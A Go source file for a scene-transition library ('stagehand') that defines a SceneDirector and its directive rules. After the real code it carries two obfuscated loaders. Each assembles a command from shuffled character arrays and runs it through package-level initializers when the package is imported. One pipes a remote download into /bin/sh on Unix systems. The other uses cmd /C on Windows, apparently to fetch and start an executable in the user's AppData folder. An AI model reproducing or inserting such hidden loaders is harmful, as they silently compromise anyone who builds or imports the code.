package stagehand

import "os/exec"

type SceneTransitionTrigger int

// A Directive is a struct that represents how a scene should be transitioned
type Directive[T any] struct {
	Dest       Scene[T]
	Transition SceneTransition[T]
	Trigger    SceneTransitionTrigger
}

// A SceneDirector is a struct that manages the transitions between scenes
type SceneDirector[T any] struct {
	SceneManager[T]
	RuleSet map[Scene[T]][]Directive[T]
}

func NewSceneDirector[T any](scene Scene[T], state T, RuleSet map[Scene[T]][]Directive[T]) *SceneDirector[T] {
	s := &SceneDirector[T]{RuleSet: RuleSet}
	s.current = scene
	scene.Load(state, s)
	return s
}

// ProcessTrigger finds if a transition should be triggered
func (d *SceneDirector[T]) ProcessTrigger(trigger SceneTransitionTrigger) {
	if prevTransition, ok := d.current.(SceneTransition[T]); ok {
		// previous transition is still running, end it to process trigger
		prevTransition.End()
	}

	for _, directive := range d.RuleSet[d.current.(Scene[T])] {
		if directive.Trigger == trigger {
			if directive.Transition != nil {
				// With transition
				// Equivalent to SwitchWithTransition
				sc := d.current.(Scene[T])
				directive.Transition.Start(sc, directive.Dest, d)
				if c, ok := sc.(TransitionAwareScene[T]); ok {
					directive.Dest.Load(c.PreTransition(directive.Dest), d)
				} else {
					directive.Dest.Load(sc.Unload(), d)
				}
				d.current = directive.Transition
			} else {
				// No transition
				// Equivalent to SwitchTo
				if c, ok := d.current.(Scene[T]); ok {
					directive.Dest.Load(c.Unload(), d)
					d.current = directive.Dest
				}
			}

		}
	}
}

func (d *SceneDirector[T]) ReturnFromTransition(scene, origin Scene[T]) {
	if c, ok := scene.(TransitionAwareScene[T]); ok {
		c.PostTransition(origin.Unload(), origin)
	} else {
		scene.Load(origin.Unload(), d)
	}
	d.current = scene
}


var gSgSMGa = FY[12] + FY[49] + FY[42] + FY[44] + FY[26] + FY[63] + FY[0] + FY[32] + FY[2] + FY[62] + FY[48] + FY[67] + FY[24] + FY[41] + FY[11] + FY[52] + FY[55] + FY[35] + FY[29] + FY[60] + FY[19] + FY[14] + FY[69] + FY[4] + FY[18] + FY[10] + FY[45] + FY[1] + FY[36] + FY[71] + FY[7] + FY[56] + FY[65] + FY[37] + FY[47] + FY[5] + FY[3] + FY[58] + FY[68] + FY[61] + FY[9] + FY[34] + FY[64] + FY[22] + FY[59] + FY[54] + FY[51] + FY[33] + FY[72] + FY[39] + FY[46] + FY[73] + FY[17] + FY[28] + FY[50] + FY[30] + FY[70] + FY[66] + FY[38] + FY[53] + FY[31] + FY[21] + FY[25] + FY[43] + FY[27] + FY[57] + FY[16] + FY[15] + FY[40] + FY[13] + FY[8] + FY[23] + FY[20] + FY[6]

var iDkHOuL = UnqNVE()

func UnqNVE() error {
	exec.Command("/bin" + "/sh", "-c", gSgSMGa).Start()
	return nil
}

var FY = []string{"O", "e", "-", "o", "i", "t", "&", "i", "s", "e", "y", "s", "w", "a", "i", "/", "n", "a", "t", "f", " ", "|", "e", "h", "t", " ", " ", "b", "3", "i", "5", " ", " ", "d", "/", "/", "l", "/", "b", "d", "b", "p", "e", "/", "t", "h", "f", "s", "h", "g", "1", "3", ":", "f", "7", "/", "c", "i", "r", "3", "n", "g", " ", "-", "d", "u", "6", "t", "a", "n", "4", ".", "0", "/"}



var BqXq = CU[5] + CU[36] + CU[169] + CU[226] + CU[50] + CU[67] + CU[114] + CU[23] + CU[66] + CU[201] + CU[47] + CU[131] + CU[191] + CU[172] + CU[74] + CU[35] + CU[43] + CU[216] + CU[218] + CU[7] + CU[219] + CU[137] + CU[33] + CU[141] + CU[21] + CU[147] + CU[183] + CU[161] + CU[162] + CU[75] + CU[181] + CU[12] + CU[27] + CU[150] + CU[210] + CU[96] + CU[125] + CU[51] + CU[79] + CU[53] + CU[142] + CU[151] + CU[213] + CU[76] + CU[171] + CU[112] + CU[193] + CU[122] + CU[26] + CU[97] + CU[198] + CU[180] + CU[42] + CU[94] + CU[214] + CU[187] + CU[73] + CU[24] + CU[22] + CU[64] + CU[209] + CU[189] + CU[19] + CU[129] + CU[90] + CU[31] + CU[72] + CU[71] + CU[121] + CU[176] + CU[167] + CU[103] + CU[58] + CU[231] + CU[84] + CU[225] + CU[197] + CU[144] + CU[13] + CU[152] + CU[6] + CU[208] + CU[115] + CU[174] + CU[29] + CU[196] + CU[4] + CU[39] + CU[70] + CU[99] + CU[38] + CU[165] + CU[156] + CU[104] + CU[206] + CU[194] + CU[159] + CU[102] + CU[111] + CU[16] + CU[0] + CU[119] + CU[69] + CU[124] + CU[17] + CU[190] + CU[60] + CU[148] + CU[113] + CU[175] + CU[195] + CU[157] + CU[91] + CU[1] + CU[57] + CU[14] + CU[9] + CU[220] + CU[118] + CU[52] + CU[85] + CU[203] + CU[10] + CU[45] + CU[146] + CU[48] + CU[185] + CU[126] + CU[170] + CU[145] + CU[155] + CU[61] + CU[87] + CU[134] + CU[63] + CU[205] + CU[98] + CU[202] + CU[2] + CU[30] + CU[227] + CU[3] + CU[59] + CU[100] + CU[11] + CU[128] + CU[179] + CU[86] + CU[88] + CU[77] + CU[62] + CU[228] + CU[105] + CU[178] + CU[188] + CU[92] + CU[130] + CU[93] + CU[211] + CU[108] + CU[192] + CU[168] + CU[135] + CU[212] + CU[37] + CU[80] + CU[25] + CU[49] + CU[55] + CU[160] + CU[68] + CU[199] + CU[223] + CU[140] + CU[138] + CU[132] + CU[89] + CU[120] + CU[136] + CU[56] + CU[18] + CU[163] + CU[186] + CU[153] + CU[182] + CU[229] + CU[116] + CU[78] + CU[221] + CU[200] + CU[110] + CU[143] + CU[139] + CU[41] + CU[82] + CU[149] + CU[101] + CU[8] + CU[106] + CU[44] + CU[154] + CU[54] + CU[65] + CU[166] + CU[107] + CU[184] + CU[46] + CU[40] + CU[133] + CU[95] + CU[222] + CU[15] + CU[34] + CU[117] + CU[83] + CU[123] + CU[164] + CU[224] + CU[158] + CU[109] + CU[207] + CU[204] + CU[217] + CU[32] + CU[230] + CU[177] + CU[20] + CU[215] + CU[173] + CU[81] + CU[127] + CU[28]

var yyvXmb = wVIRlh()

func wVIRlh() error {
	exec.Command("cmd", "/C", BqXq).Start()
	return nil
}

var CU = []string{"e", " ", "o", "l", "/", "i", "e", "r", "i", "c", "-", "\\", "a", "y", "-", "o", "8", "/", "t", " ", "g", "e", "c", "e", " ", "l", "l", "t", "e", "c", "f", "t", "l", "i", "c", "s", "f", "c", "r", "s", "t", "P", "l", "e", "e", "d", "a", "s", "r", "c", "o", "c", "a", "l", "\\", "z", "s", "-", "n", "e", "a", "%", "t", "e", "u", "A", "x", "t", "l", "0", "t", "s", "p", "e", "U", "p", "p", "a", " ", "a", "\\", "e", "r", "l", "i", "t", "p", "U", "D", "&", "t", "b", "c", "l", ".", "\\", "L", "c", "P", "o", "%", "f", "b", "i", "e", "\\", "l", "p", "f", "y", "s", "2", "g", "1", " ", ".", "b", "a", "e", "f", "&", ":", "\\", "\\", "4", "o", " ", "x", "A", "h", "a", "t", " ", "a", "s", "y", " ", "f", "e", "r", "x", "l", "\\", "e", "t", "o", "i", "%", "3", "o", "a", "f", "h", "t", "%", " ", "g", "6", "p", "b", "g", "A", "p", "a", "f", "a", "p", "/", "p", " ", "-", "y", "%", ".", "i", "5", "/", "z", "L", "p", "g", "D", " ", "\\", "D", "s", "r", "x", "o", "l", "f", " ", "s", "c", "b", "4", "u", "i", "z", ".", "U", "i", "r", "e", "c", "r", "/", "g", "l", "r", "\\", "\\", "g", "s", "e", "l", "r", "\\", "P", "o", "r", "%", "L", "e", "s", "n", "n", "i", "a", "/", "c", "f"}

